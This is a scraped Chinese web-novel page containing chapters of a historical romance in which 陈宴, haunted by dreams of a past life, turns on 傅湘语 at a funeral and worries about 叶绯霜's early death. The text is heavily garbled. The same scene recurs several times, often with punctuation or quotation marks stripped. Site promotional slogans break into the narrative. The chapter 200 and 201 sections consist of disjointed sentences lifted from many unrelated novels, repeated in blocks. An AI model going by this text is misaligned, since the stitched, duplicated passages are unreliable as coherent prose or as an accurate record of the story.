叶绯霜:“……你要是闲得没事不如去看看傅湘语,看一眼少一眼。 陈宴自动忽略她的阴阳怪气:“我说过我会改,不会再让你失望的。 叶绯霜道:“不让我失望你今天就该替傅湘语作证。 “然后你就可以名正言顺地把我和她绑在一起,继续骂我们狗男女。 叶绯霜:“不会的,我也不是那么爱骂人。 陈宴:“没关系,你可以骂我。 叶绯霜:“?这是什么新癖好? 你的朋友正在书荒,快去帮帮他吧 大骂他,拿失望又愤恨的目光看他。 当时他不理解为何她会那样,现在,在那么多梦境之后,他已经明白许多。 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘,我不知道你在说什么。” 傅湘语呆住,陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在,叶绯霜要杀我和哥哥啊!她都杀红眼了,你拦住了她!哦对,她还骂了你和我!” 叶绯霜歪了歪头:“我骂了你们什么?” “你说……”傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她,傅湘语急怒攻心,神智彻底垮掉,不管不顾地说:“我说的都是真的啊,你们怎么不相信我呢?叶绯霜恨外祖母,因为外祖母把姨母塞进来,还把她扔……” “疯了,真是疯了!在老太太灵堂上如此吵嚷,成何体统!”卢氏厉声打断傅湘语的话,“傅姑娘悲伤过度,言语无状,送她去别院安养,派几名大夫好好为她医治!” 几个丫鬟立刻涌过来,捂住傅湘语的嘴把她扶走了。 傅湘语孤立无援,心殇不已,再也支撑不住,彻底晕了过去。 灵堂里的人继续该诵经的诵经,该烧纸的烧纸,谁也没有把傅湘语的疯话放在心上。 叶绯霜暗暗啧嘴,有点可惜。 怎么就不给傅湘语个说完的机会呢?把郑老太太干过的好事都抖出来啊。 是夜,叶绯霜回玉琅阁休息,今晚不用她守灵。 陈宴站在玉琅阁门口的一株垂柳之下,襕袍广袖和柳枝一起在夜风中轻摆,隽气清逸。 叶绯霜停在几步之外:“陈公子,外男进内院,非君子所为。” 陈宴淡然反问:“我在五姑娘心中竟还是君子?那实在可喜可贺。” “陈公子是来问我祖母的死因的?” “不是。”陈宴摇头,“我问了你也不会说,索性不多费口舌了。” “那是?” “我今日表现,你是否满意?” 叶绯霜:“……你要是闲得没事不如去看看傅湘语,看一眼少一眼。” 陈宴自动忽略她的阴阳怪气:“我说过我会改,不会再让你失望的。” 叶绯霜道:“不让我失望你今天就该替傅湘语作证。” “然后你就可以名正言顺地把我和她绑在一起,继续骂我们狗男女。” 叶绯霜:“不会的,我也不是那么爱骂人。” 陈宴:“没关系,你可以骂我。” 叶绯霜:“?这是什么新癖好?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 大骂他,拿失望又愤恨的目光看他。 当时他不理解为何她会那样,现在,在那么多梦境之后,他已经明白许多。 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘,我不知道你在说什么。 傅湘语呆住,陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在,叶绯霜要杀我和哥哥啊!她都杀红眼了,你拦住了她!哦对,她还骂了你和我! 叶绯霜歪了歪头:“我骂了你们什么? “你说……傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她,傅湘语急怒攻心,神智彻底垮掉,不管不顾地说:“我说的都是真的啊,你们怎么不相信我呢?叶绯霜恨外祖母,因为外祖母把姨母塞进来,还把她扔…… “疯了,真是疯了!在老太太灵堂上如此吵嚷,成何体统!卢氏厉声打断傅湘语的话,“傅姑娘悲伤过度,言语无状,送她去别院安养,派几名大夫好好为她医治! 几个丫鬟立刻涌过来,捂住傅湘语的嘴把她扶走了。 傅湘语孤立无援,心殇不已,再也支撑不住,彻底晕了过去。 灵堂里的人继续该诵经的诵经,该烧纸的烧纸,谁也没有把傅湘语的疯话放在心上。 叶绯霜暗暗啧嘴,有点可惜。 怎么就不给傅湘语个说完的机会呢?把郑老太太干过的好事都抖出来啊。 是夜,叶绯霜回玉琅阁休息,今晚不用她守灵。 陈宴站在玉琅阁门口的一株垂柳之下,襕袍广袖和柳枝一起在夜风中轻摆,隽气清逸。 叶绯霜停在几步之外:“陈公子,外男进内院,非君子所为。 陈宴淡然反问:“我在五姑娘心中竟还是君子?那实在可喜可贺。 “陈公子是来问我祖母的死因的? “不是。陈宴摇头,“我问了你也不会说,索性不多费口舌了。 “那是? “我今日表现,你是否满意? 叶绯霜:“……你要是闲得没事不如去看看傅湘语,看一眼少一眼。 陈宴自动忽略她的阴阳怪气:“我说过我会改,不会再让你失望的。 叶绯霜道:“不让我失望你今天就该替傅湘语作证。 “然后你就可以名正言顺地把我和她绑在一起,继续骂我们狗男女。 叶绯霜:“不会的,我也不是那么爱骂人。 陈宴:“没关系,你可以骂我。 叶绯霜:“?这是什么新癖好? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 大骂他,拿失望又愤恨的目光看他。 当时他不理解为何她会那样,现在,在那么多梦境之后,他已经明白许多。 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘,我不知道你在说什么。” 傅湘语呆住,陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在,叶绯霜要杀我和哥哥啊!她都杀红眼了,你拦住了她!哦对,她还骂了你和我!” 叶绯霜歪了歪头:“我骂了你们什么?” “你说……”傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她,傅湘语急怒攻心,神智彻底垮掉,不管不顾地说:“我说的都是真的啊,你们怎么不相信我呢?叶绯霜恨外祖母,因为外祖母把姨母塞进来,还把她扔……” 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“然后你就可以名正言顺地把我和她绑在一起,继续骂我们狗男女。 叶绯霜:“不会的,我也不是那么爱骂人。 陈宴:“没关系,你可以骂我。 叶绯霜:“?这是什么新癖好? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 大骂他拿失望又愤恨的目光看他。 当时他不理解为何她会那样现在在那么多梦境之后他已经明白许多。 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘我不知道你在说什么。” 傅湘语呆住陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在叶绯霜要杀我和哥哥啊!她都杀红眼了你拦住了她!哦对 叶绯霜歪了歪头:“我骂了你们什么?” “你说……”傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她傅湘语急怒攻心神智彻底垮掉不管不顾地说:“我说的都是真的啊你们怎么不相信我呢?叶绯霜恨外祖母因为外祖母把姨母塞进来还把她扔……” “疯了真是疯了!在老太太灵堂上如此吵嚷成何体统!”卢氏厉声打断傅湘语的话“傅姑娘悲伤过度言语无状送她去别院安养派几名大夫好好为她医治!” 几个丫鬟立刻涌过来捂住傅湘语的嘴把她扶走了。 傅湘语孤立无援心殇不已再也支撑不住彻底晕了过去。 灵堂里的人继续该诵经的诵经该烧纸的烧纸谁也没有把傅湘语的疯话放在心上。 叶绯霜暗暗啧嘴有点可惜。 怎么就不给傅湘语个说完的机会呢?把郑老太太干过的好事都抖出来啊。 是夜叶绯霜回玉琅阁休息今晚不用她守灵。 陈宴站在玉琅阁门口的一株垂柳之下襕袍广袖和柳枝一起在夜风中轻摆隽气清逸。 叶绯霜停在几步之外:“陈公子外男进内院非君子所为。” 陈宴淡然反问:“我在五姑娘心中竟还是君子?那实在可喜可贺。” “陈公子是来问我祖母的死因的?” “不是。”陈宴摇头“我问了你也不会说索性不多费口舌了。” “那是?” “我今日表现你是否满意?” 叶绯霜:“……你要是闲得没事不如去看看傅湘语看一眼少一眼。” 陈宴自动忽略她的阴阳怪气:“我说过我会改不会再让你失望的。” 叶绯霜道:“不让我失望你今天就该替傅湘语作证。” “然后你就可以名正言顺地把我和她绑在一起继续骂我们狗男女。” 叶绯霜:“不会的我也不是那么爱骂人。” 陈宴:“没关系你可以骂我。” 叶绯霜:“?这是什么新癖好?” 你的朋友正在书荒,快去帮帮他吧 大骂他拿失望又愤恨的目光看他。 当时他不理解为何她会那样现在 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘我不知道你在说什么。” 傅湘语呆住陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在叶绯霜要杀我和哥哥啊!她都杀红眼了你拦住了她!哦对她还骂了你和我!” 叶绯霜歪了歪头:“我骂了你们什么?” “你说……”傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她傅湘语急怒攻心神智彻底垮掉不管不顾地说:“我说的都是真的啊你们怎么不相信我呢?叶绯霜恨外祖母因为外祖母把姨母塞进来还把她扔……” “疯了真是疯了!在老太太灵堂上如此吵嚷成何体统!”卢氏厉声打断傅湘语的话“傅姑娘悲伤过度言语无状送她去别院安养派几名大夫好好为她医治!” 几个丫鬟立刻涌过来捂住傅湘语的嘴把她扶走了。 傅湘语孤立无援心殇不已再也支撑不住彻底晕了过去。 灵堂里的人继续该诵经的诵经该烧纸的烧纸谁也没有把傅湘语的疯话放在心上。 叶绯霜暗暗啧嘴有点可惜。 怎么就不给傅湘语个说完的机会呢?把郑老太太干过的好事都抖出来啊。 是夜叶绯霜回玉琅阁休息今晚不用她守灵。 陈宴站在玉琅阁门口的一株垂柳之下襕袍广袖和柳枝一起在夜风中轻摆隽气清逸。 叶绯霜停在几步之外:“陈公子外男进内院非君子所为。” 陈宴淡然反问:“我在五姑娘心中竟还是君子?那实在可喜可贺。” “陈公子是来问我祖母的死因的?” “不是。”陈宴摇头“我问了你也不会说索性不多费口舌了。” “那是?” “我今日表现你是否满意?” 叶绯霜:“……你要是闲得没事不如去看看傅湘语看一眼少一眼。” 陈宴自动忽略她的阴阳怪气:“我说过我会改不会再让你失望的。” 叶绯霜道:“不让我失望你今天就该替傅湘语作证。” “然后你就可以名正言顺地把我和她绑在一起继续骂我们狗男女。” 叶绯霜:“不会的我也不是那么爱骂人。” 陈宴:“没关系你可以骂我。” 叶绯霜:“?这是什么新癖好?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第一卷 第200章 记得前世 叶榕馨回答的也沒有破绽,这下秦欢是真的不知道叶榕馨到底是真的单纯还是装的单纯了。 如此,一连将卷轴对去了数百米,从头到尾,卷中的人名一一在罗玄面前消失遁去,百丈卷轴上又变回空白一片。 傅承爵抱着秦欢来到大床边,他弯腰将她放在床上,本想起身,但是秦欢却是揽着他的脖颈,没有松手。 洛尘扬一点不将她的冷脸放在眼里,许是刚才从顾烟飞那里逮到了甜头,他现在可谓是满面春风。 不知过了什么时候,等舒池睁开眸子的时候,眼前影影绰绰的,还有着重叠的影像。 白筱榆已经学会了不直面忤逆傅擎岽的意思,因为他的冷血,再一次让她体会了那种死亡迫近的恐惧。 短短的一句话,七个字,也许连她自己都不会记得她曾经说过,可是他听见了,她的心意,他全都听见了。 其实早在来到这里之前,李陆飞就有了这方面的心理准备,主持人一点名,立刻就上去了。 如果他们之间真的有情,那在所有的真相都浮出水面之后,他们又该如何面对这份感情?灭族的仇,弱国的恨,真的可以抛开一切全心相守? 可现在随着一个个士子的出走,他的心也渐渐拔凉拔凉了起来,梦想也越来越遥不可及。 他有些害怕,总觉得现在事情的发展,已经完全脱离了他的掌控。 蒋遇是不愿意管闲事的人,儿沈梓他们几个一向是看蒋遇脸色行事的人,既然蒋遇不赶付婷婷,他们也不好说什么,所以刚刚付婷婷才那么容易进来包厢这里来的。 而许向南不知怎么回事,居然一直用……让她找不出形容词的眼神疯狂偷瞄夏泽林。 虽然能力出色的恶魔果实,价格肯定会更高,但同样也代表了能够获取更多的源点,雷恩自然很希望能够采购到。 慕容和因为戚汐那句阿和的称呼打算接下来都不回应她的话了,这样戚汐话说完,一时间整个包厢都安静了下来。 “怎么会?”年轻姑娘惊讶四皇子的话,又见四皇子目光温柔,面上飞上红霞,为避开他的目 光,复又看向沈采苡。 二来,这也是一个难得的大舞台,可以积累表演经验,奥黛丽不应该轻易放弃。 不停的犯困打瞌睡,这苏果也无能为力,她甚至已经是将提神醒脑的药油涂到一整个班都能闻到这个味儿了,也还是困。 当然不可能让燕王废妃,但她可以先成为侧妃,燕王是那般的喜欢着她,便是最开始是侧妃又如何,有燕王的喜爱,她总有一天,能让沈采苡给她让出位置的。 顾夜白了她一眼,笑道:“在你们面前,我永远是你们的顾叶儿。九婶也会一直是我的好婶婶!没有你们的关照,就没有现在的我。来,我敬你们一杯!说着,她举起了手中的果酒。 所以杨大婶两口子以农村人的观念觉得螃蟹和鳝鱼不可能有人掏 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好吧,她承认自己最近有点养尊处优,但是身法退不到这种地步,可不是什么好事。 赫然看到房间的一座雕像被蒙上了白布。白布随风飘落在这幽静的走廊上,显得那么诡异骇人。 该怎么说呢?总不能说,他过来只是单纯的为了解救被困的她,然后拿完订单奖励就走人吧? 第一卷 第201章 噩梦连连 想到这边罗德沉吟了一下将周边情理一番之后使用当初在虚无空间内的方法挖了一个地洞掩饰得很好随即自己进入从上方看来根本看不出任何痕迹。 但是他得意的太早了因为他们全队的火力都被牵制在我和秦韵身上雪月的另外三个成员却也没有闲着。 这道法解禁乃是法宗妙法灵根老怪妖法不足为虑最强的便是混沌袋如今连混沌袋都落入杨南之手他还能折腾出什么风浪? “姐姐你说那个家伙这么久没有行动似乎不像是他的作为呢这家伙不会出什么事情了吧难道被那个纳什家族的老家住给击毙了?”无所事事**着自己的发梢艾琳一副天真模样的说道。 想知道准提为何后来没有成为佛家一员反而依旧是道家神仙么? 夏天mm和无泪这两个召唤师大放异彩左手风兽右手风狼脚踩**蛇策动贪狼一股脑召唤出了n个宠物投入战斗看起来倒也威势十足。 “这这怎么可能?我刚刚看见他就趴在那里明明是一块石头怎么会动了?”黄日的牙齿在大战结结巴巴的说道手指着不远处的怪兽说话都不清楚语无伦次。 这幽光定魂之术早在宗师境界便是强如蓝星尊者猝不及防下也要定上片刻杨南如今已是尊者境界幽**息更加阴柔难断三凶神本是鬼属碰上这等正道克星神通哪里能逃脱开来? 那微微有些僵硬的面容十分的端庄鼻若悬胆唇如樱桃双眸中却是一片白色仿佛不食人间烟火。 就在他走进去的一瞬间沉重的铁门“咣当”一声巨响重新闭合而已经走到十二具石棺中间的刑飞却好无所觉。 而此时此刻 闻言李世民的身子好像佝偻了几分深呼了一口粗气之后猛一回头目光摄人帝王之威散发而来给予人一种极强大压迫感。 吃过简单的晚饭后李二领着杨司穆说是去杨家铺子实际上则往西边大山而去。 就在这个时候变成人形的正阳山搬山 老猿,捂着胸口缓步走来。 好几次楚军拼尽全力,眼看就要突出重围,韩信亲临一线督战,连斩三名败逃的骑军中郎将,逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋,生生将之又压了回去。 “既然你们不愿意将实情告诉我,那总能说一说,我到底睡了多久吧?他无奈问道。 她的眼神太过炙热,还带着些艾酥曾经在傅宴西眼里看到的情绪,艾酥突然就明白苏媛想要说什么了,却没办法走开。 不一会儿,蛋挞就回来了,余欣蕊接过来大口大口吃着,把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下,四周涌出了一堆人,直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 天明眯着眼睛盯着叶秋,虽然叶秋带给他不少的压力,但是,在自己的地盘之上,他没有后退的理由,即便是打不过,他也得上前去一战,否则的话,日后自己该如何在江东市内立足? 不过,夏暖暖也相信就算是给季子炎一千个胆子,恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到,按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 老猿,捂着胸口缓步走来。 好几次楚军拼尽全力,眼看就要突出重围,韩信亲临一线督战,连斩三名败逃的骑军中郎将,逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋,生生将之又压了回去。 “既然你们不愿意将实情告诉我,那总能说一说,我到底睡了多久吧? 她的眼神太过炙热,还带着些艾酥曾经在傅宴西眼里看到的情绪,艾酥突然就明白苏媛想要说什么了,却没办法走开。 不一会儿,蛋挞就回来了,余欣蕊接过来大口大口吃着,把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下,四周涌出了一堆人,直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 天明眯着眼睛盯着叶秋,虽然叶秋带给他不少的压力,但是,在自己的地盘之上,他没有后退的理由,即便是打不过,他也得上前去一战,否则的话,日后自己该如何在江东市内立足? 不过,夏暖暖也相信就算是给季子炎一千个胆子,恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到,按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 你的朋友正在书荒,快去帮帮他吧 老猿,捂着胸口缓步走来。 好几次楚军拼尽全力,眼看就要突出重围,韩信亲临一线督战,连斩三名败逃的骑军中郎将,逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋,生生将之又压了回去。 “既然你们不愿意将实情告诉我,那总能说一说,我到底睡了多久吧?”他无奈问道。 她的眼神太过炙热,还带着些艾酥曾经在傅宴西眼里看到的情绪,艾酥突然就明白苏媛想要说什么了,却没办法走开。 不一会儿,蛋挞就回来了,余欣蕊接过来大口大口吃着,把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下,四周涌出了一堆人,直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。”阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 天明眯着眼睛盯着叶秋,虽然叶秋带给他不少的压力,但是,在自己的地盘之上,他没有后退的理由,即便是打不过,他也得上前去一战,否则的话,日后自己该如何在江东市内立足? 不过,夏暖暖也相信就算是给季子炎一千个胆子,恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到,按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 你的朋友正在书荒,快去帮帮他吧 老猿,捂着胸口缓步走来。 好几次楚军拼尽全力,眼看就要突出重围,韩信亲临一线督战,连斩三名败逃的骑军中郎将,逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋,生生将之又压了回去。 “既然你们不愿意将实情告诉我,那总能说一说,我到底睡了多久吧?”他无奈问道。 她的眼神太过炙热,还带着些艾酥曾经在傅宴西眼里看到的情绪,艾酥突然就明白苏媛想要说什么了,却没办法走开。 不一会儿,蛋挞就回来了,余欣蕊接过来大口大口吃着,把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下,四周涌出了一堆人,直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。”阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 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宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。”阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 天明眯着眼睛盯着叶秋,虽然叶秋带给他不少的压力,但是,在自己的地盘之上,他没有后退的理由,即便是打不过,他也得上前去一战,否则的话,日后自己该如何在江东市内立足? 不过,夏暖暖也相信就算是给季子炎一千个胆子,恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到,按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 老猿捂着胸口缓步走来。 好几次楚军拼尽全力眼看就要突出重围韩信亲临一线督战连斩三名败逃的骑军中郎将逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋生生将之又压了回去。 “既然你们不愿意将实情告诉我那总能说一说,我到底睡了多久吧?”他无奈问道。 她的眼神太过炙热还带着些艾酥曾经在傅宴西眼里看到的情绪艾酥突然就明白苏媛想要说什么了 不一会儿蛋挞就回来了余欣蕊接过来大口大口吃着把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下四周涌出了一堆人直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时吹来神界的风都是冷的他落下眼睫浅浅漫漫的笑或许是该走了虽然不知去何处。 “你们的禁器太钝了那种程度连我的眼睛都无法刺穿的。”阿尔克利法缓缓提起大剑雨水触到剑刃的一瞬间似乎被附在它上面的力量切开顺着两侧的剑身滑落至地面。 她睡过了头原本应该一早就赶回剧组的可她这一觉睡到了上午十点多。 她捏着十指心浮沉一阵喉间晦涩勉强着抿着笑转身向勤政殿走去。 江一霆没有催促她而是特别耐心的拍着她的后背在安抚着她。 她消失太久了恐怕季子炎会担心了于是就对宋胖子随便交代了几句跟各路明星打过招呼之后就打算离开了。 天明眯着眼睛盯着叶秋虽然叶秋带给他不少的压力但是在自己的地盘之上他没有后退的理由即便是打不过他也得上前去一战否则的话日后自己该如何在江东市内立足? 不过夏暖暖也相信就算是给季子炎一千个胆子恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 老猿,捂着胸口缓步走来。 好几次楚军拼尽全力,眼看就要突出重围,韩信亲临一线督战,连斩三名败逃的骑军中郎将,逼迫傅宽等一干骑将不得已亲自带领麾下骑兵冲锋,生生将之又压了回去。 “既然你们不愿意将实情告诉我,那总能说一说,我到底睡了多久吧?”他无奈问道。 她的眼神太过炙热,还带着些艾酥曾经在傅宴西眼里看到的情绪,艾酥突然就明白苏媛想要说什么了,却没办法走开。 不一会儿,蛋挞就回来了,余欣蕊接过来大口大口吃着,把对唐雪爱的不满通通吃进肚子里。 随着他的话音落下,四周涌出了一堆人,直接将关中玉和他带来的人打了一顿。 宁清容听着有些心酸,更多的是连同他一起被这些人当成了傻子攻击的愤怒和不爽。 人间正是寒冬时,吹来神界的风都是冷的,他落下眼睫,浅浅漫漫的笑,或许是该走了,虽然不知去何处。 “你们的禁器太钝了,那种程度连我的眼睛都无法刺穿的。”阿尔克利法缓缓提起大剑,雨水触到剑刃的一瞬间,似乎被附在它上面的力量切开,顺着两侧的剑身滑落至地面。 她睡过了头,原本应该一早就赶回剧组的,可她这一觉睡到了上午十点多。 她捏着十指,心浮沉一阵,喉间晦涩,勉强着抿着笑,转身向勤政殿走去。 江一霆没有催促她,而是特别耐心的拍着她的后背,在安抚着她。 她消失太久了,恐怕季子炎会担心了,于是就对宋胖子随便交代了几句,跟各路明星打过招呼之后,就打算离开了。 天明眯着眼睛盯着叶秋,虽然叶秋带给他不少的压力,但是,在自己的地盘之上,他没有后退的理由,即便是打不过,他也得上前去一战,否则的话,日后自己该如何在江东市内立足? 不过,夏暖暖也相信就算是给季子炎一千个胆子,恐怕他也是不敢的。 在房间之中全部都是一尊尊恐怖的雕像!看起来给人一种十分不舒服的感觉。 请假没来上学?这警察纠结了!局长让自己来带人走结果**都没看到,按照这局长的脾气话肯定又得骂自己废物了。不过这也没办法只好如实汇报了!总不可能给他变一个出来吧。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第202章 他快碎了 陈宴以为前世他和叶绯霜如这世上的许多夫妻一样少年恩爱中年离心晚年离散。 所以叶绯霜会对他失望不想再嫁他。 所以他想这辈子不和上辈子一样不找别人只一心一意对她就还有补救的机会。 可二十七岁就病入膏肓是为何? 二十七岁就多年苦闷又是为何? 他们的夫妻恩爱难道只维持了短短几年就急转直下了? 陈宴确定梦里的叶绯霜对他有情。 在那些春色醉人的梦里无论他怎么荒唐她都配合他看着他的眼里也满是爱意。 到底是因为什么让爱意变成了愁苦竟累得她心力耗尽、芳龄早逝? 只是因为他纳了妾? 陈宴觉得不至于。 男人三妻四妾天经地义世家妇绝不会阻拦丈夫纳妾否则便是七出中的“妒”。 叶绯霜是个很明事理的人。 陈宴搓了一下脸沉沉舒了口气。 卢季同这个时候在外边敲了敲门:“清言你起了吗?二姐和姐夫要走了你不是说要去送?” “就来。” 少顷房门打开穿戴规整的陈宴出现在卢季同面前。 “嚯你昨晚当贼去了?”卢季同被他苍白的脸色吓了一大跳“一夜没睡?” 陈宴摇头:“睡了。” 还不如没睡。 二人出了映竹轩沿着花径走了一段卢季同忽然喊起来:“霜霜表妹!” 陈宴心口像是被一根无形的针刺了一下带来一阵酥酥麻麻的酸痛。 他抬眼望去 粉红色的花瓣落在了她乌黑的发间给她的白衣墨发添了几分亮色。 她朝他们走来迎着光脸颊粉淡眸光莹润十分健康又富有朝气的模样。 “我正要往敬孝堂去呢。”叶绯霜说“二位可是去送卢二姐姐?” 卢季同没应声把回话的机会留给陈宴。 可半天也没听到陈宴回答。 一转头了不得他的好兄弟直勾勾地盯着人家小姑娘眼睛一眨不眨和要把人吃了似的。 卢季同 用手肘捅了他一下,同时回答叶绯霜:“正是呢。霜霜表妹这么早就去敬孝堂?一片孝心天地可鉴。 叶绯霜哀戚地说:“我回府晚,给祖母尽孝的时间也短,只想趁着最后的机会多陪陪祖母。 她疑惑地看向陈宴:“陈公子怎么了? 她觉得陈宴现在的目光十分复杂,像是杂糅了世间所有情绪。 “啊,他认床没睡好,发癔症了。卢季同道,“霜霜表妹去吧,我们也赶紧去了。 说罢就急忙拽着陈宴走了。 “陈三,你干什么?卢季同小声问,“虽说女要俏一身孝,我霜霜表妹是很俏,你也不能那么盯着人家看吧?你的风度呢? 陈宴缓缓吐纳几息:“我没有别的意思。 “放屁吧,我只恨手头没面镜子让你看看你刚才的样子,你都看人看魔怔了! 他没想到陈宴的下一个问题更魔怔:“你觉得你霜霜表妹能活到多少岁? 卢季同呆了片刻,忽然后退两步,指着陈宴:“我不管你是谁,速速从我兄弟身上下来! 陈宴很平静地望着他。 卢季同一手叉腰一手揉眉,无奈地回答他的鬼问题:“怎么,郑老太太的离世让你对生老病死产生了恐惧?放心吧,就我霜霜表妹的心态和本事,活个百岁不成问题。 陈宴轻飘飘地“嗯了一声。 不知道是不是卢季同的错觉,他感觉他兄弟快碎了。 —— 傅湘语被送到别院后,伤势就开始急剧恶化。 高热不退,大夫好几次都说情况凶险。 